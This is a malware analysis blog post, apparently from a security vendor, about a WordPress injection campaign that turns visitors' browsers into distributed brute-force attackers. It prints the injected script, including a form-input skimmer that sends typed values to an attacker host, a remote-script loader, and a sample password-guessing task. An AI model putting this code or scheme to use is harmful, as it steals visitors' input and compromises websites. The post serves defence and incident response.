Two weeks ago we discussed a new development in website hacks: Web3 crypto wallet drainers. We’ve been closely following the most significant variant which injects drainers using the external cachingjs/turboturbo.js script. Our SiteCheck website scanner has already detected this version on over 1,200 sites since the beginning of February, 2024.
Since our last post, this malware campaign has seen two new iterations resulting in distributed brute force attacks against target WordPress websites from the browsers of completely innocent and unsuspecting site visitors. Sounds unrelated, right? Well, let’s take a closer look.
On Feb 20, 2024, the turboturbo.js script domain changed — this time from dynamiclinks[.]cfd/cachingjs/turboturbo.js to dynamiclink[.]lol/cachingjs/turboturbo.js.
This new wave started on the very same day the new dynamiclink[.]lol domain was registered and hosted on the server with IP 93.123.39.199.
The drainer settings.js file also saw a small change: The worker_address was modified from 0xc5cE06FC4E2A26514afe69e25a6B36ab51F9FE42 to 0xFe8a95604CB87A9C6C5b1Ec681Bcfb4aE77F0c31.
On Feb 23, 2024, attackers registered another new dynamic-linx[.]com domain (also hosted on 93.123.39.199 and 94.156.8.251). By Feb 25th, we started detecting injections with the turboturbo.js script changed to dynamic-linx[.]com/chx.js.
<script id="deule">function generateRandomString(t){const e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";let n="";for(let o=0;o<t;o++){const t=Math.floor(62*Math.random());n+=e.charAt(t)}return n}const uid=generateRandomString(10);function sendPostRequest(t,e){const n=new URLSearchParams;n.append("uid",uid),n.append("i_name",t),// Add the field name as a parameter n.append("b",btoa(e)),fetch("hxxps://hostpdf[.]co/pinche.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:n.toString()}).then((t=>t.text())).then((t=>console.log(t))).catch((t=>console.error("Error:",t)))}document.addEventListener("input",(function(t){if("INPUT"===t.target.tagName&&"button"!==t.target.type){sendPostRequest(t.target.name||t.target.id,t.target.value)}}));</script><script>var buttons = document.querySelectorAll('button');var links = document.querySelectorAll('a');buttons.forEach(function(button) {button.classList.add('connectButton');});links.forEach(function(link) {link.classList.add('connectButton');});</script><script id="deule2" src="hxxps://dynamic-linx[.]com/chx.js"></script><script id="deule3">var e1 = document.getElementById("deule");if (e1) {e1.parentNode.removeChild(e1);}var e2 = document.getElementById("deule2");if (e2) {e2.parentNode.removeChild(e2);}var e3 = document.getElementById("deule3");if (e3) {e3.parentNode.removeChild(e3);}</script>
At the current time of writing, this variation of the injection is found on over 500 sites by PublicWWW.
However, what’s significantly different about this new script is that it doesn’t load a crypto drainer. In fact, the script contents don’t have anything to do with Web3 and cryptocurrencies at all. The snippet of code we found was just 3Kb long and not obfuscated in any way, so it wasn’t difficult to figure out the purpose of the script.
Let’s take a closer look at what we found.
At the top of the script you can find two URLs:
const getTaskUrl = 'hxxps://dynamic-linx[.]com/getTask.php'; const completeTaskUrl = 'hxxps://dynamic-linx[.]com/completeTask.php'; …
In a loop, this script requests tasks from getTaskUrl and reports results to completeTaskUrl and then fetches another task, and so on.
What kind of tasks, you might ask? Well, each task consists of the following:
To illustrate further what this looks like, here is an example of a real task received by the malicious script:
[871,"https://REDACTED","redacted","60","junkyard","johncena","jewish","jakejake","invincible","intern","indira","hawthorn","hawaiian","hannah1","halifax","greyhound","greene","glenda","futbol","fresh","frenchie","flyaway","fleming","fishing1","finally","ferris","fastball","elisha","doggies","desktop","dental","delight","deathrow","ddddddd","cocker","chilly","chat","casey1","carpenter","calimero","calgary","broker","breakout","bootsie","bonito","black123","bismarck","bigtime","belmont","barnes","ball","baggins","arrow","alone","alkaline","adrenalin","abbott","987987","3333333","123qwerty","000111","zxcv1234","walton","vaughn","tryagain","trent","thatcher","templar","stratus","status","stampede","small","sinned","silver1","signal","shakespeare","selene","scheisse","sayonara","santacruz","sanity","rover","roswell","reverse","redbird","poppop","pompom","pollux","pokerface","passions","papers","option","olympus","oliver1","notorious","nothing1","norris","nicole1","necromancer","nameless","mysterio","mylife","muslim","monkey12","mitsubishi"]
All the passwords in this task belong to well known collections of common (and leaked) passwords.
The largest password batch number that we’ve seen so far was #418, so we can assume that attackers are able to try more than 41,800 passwords for each site.
Now that we have a simple understanding of the script’s task management features, let’s take a look at how the attacker’s use these scripts to launch their attacks against victim sites.
The attack consists of five key stages that allow a bad actor to leverage already compromised websites to launch distributed brute force attacks against thousands of other potential victim sites.
So, how do attackers actually accomplish a distributed brute force attack from the browsers of completely innocent and unsuspecting website visitors? Let’s take a look at stage 4 in closer detail.
This is how thousands of visitors across hundreds of infected websites unknowingly and simultaneously try to bruteforce thousands of other third-party WordPress sites. And since the requests come from the browsers of real visitors, you can imagine this is a challenge to filter and block such requests.
When the attack is over, the operators simply need to visit the target sites from their list (identified in stage 1) and try to download a specific file. If the file exists and they manage to download it, they’ll find the valid WordPress user credentials encoded within the file contents.
In our telemetry, we see dozens of thousands of requests to thousands of unique domains checking for the file that this brute force attack tries to upload. In most cases, the response is 404 which means that the attack was not successful. However, in approximately 0.5% of cases, we see the 200 response code which signifies the bad actors might have managed to guess the WordPress password.
Double checking the sites with the “200 OK” responses, we noticed that only one of them was actually compromised. The rest of the sites simply had non-standard configurations that made them return 200 even for “not found” pages. This further decreased the success rate of the brute force campaign below 0.02%.
In the past 4 days, we’ve recorded over 1200+ unique IPs that have tried to download the credentials file. Out of those IPs, the following 5 addresses accounted for over 85% of all requests:
IP | % | ASN |
146.70.199.169 | 34.37% | M247, RO |
138.199.60.23 | 28.13% | CDNEXT, GB |
138.199.60.32 | 10.96% | CDNEXT, GB |
138.199.60.19 | 6.54% | CDNEXT, GB |
87.121.87.178 | 5.94% | SOUZA-AS, BR |
The last IP 87.121.87.178 is the same IP used for the billlionair[.]app domain where the Angel Drainer was hosted.
In all cases, the attackers use these two User-Agent strings:
User-Agent | % |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3 | 95.8% |
python-requests/2.25.1 | 4.2% |
This reveals that operators are most likely using python scripts to automate checking results of their brute force attack.
At this point, it’s not exactly clear why the attackers switched from Web 3 crypto drainers to a distributed WordPress brute force attack. Most likely, they realized that at their scale of infection (~1000 compromised sites) the crypto drainers are not very profitable yet. Moreover, they draw too much attention and their domains get blocked pretty quickly. So, it appears reasonable to switch the payload with something stealthier, that at the same time can help increase their portfolio of compromised sites for future waves of infections that they will be able to monetize in one way or another.
More than anything, this attack reminds us about the importance of using strong passwords. With the level of technology available to bad actors now, it is pretty easy to try hundreds of thousands passwords on millions of sites within a reasonable timeframe.
In addition to secure passwords, you might want to consider restricting access to the WordPress admin interface and xmlrpc.php file to trusted IPs only. This is quickly accomplished with the Sucuri web application firewall, which makes it easy to restrict access to only certain IPs.
For DIY types who think they might be affected by this malware and want to hunt around for indicators of compromise, we recommend checking WordPress uploads directories (wp-content/uploads/…) for unknown files. This particular attack creates short .txt files that contain “ActiveLamezh”. You can also check directories like wp-content/uploads/2024/02/ and wp-content/uploads/2024/03.
Even if you don’t find the uploaded .txt files, consider changing the passwords of all WordPress admin users to ensure that they are long, strong, and unique from other sets of credentials.
If you believe that your website may be infected with malware but aren’t sure how to tackle the issue, reach out and chat with us! Our experienced analysts are available 24/7 to help you get rid of website malware infections.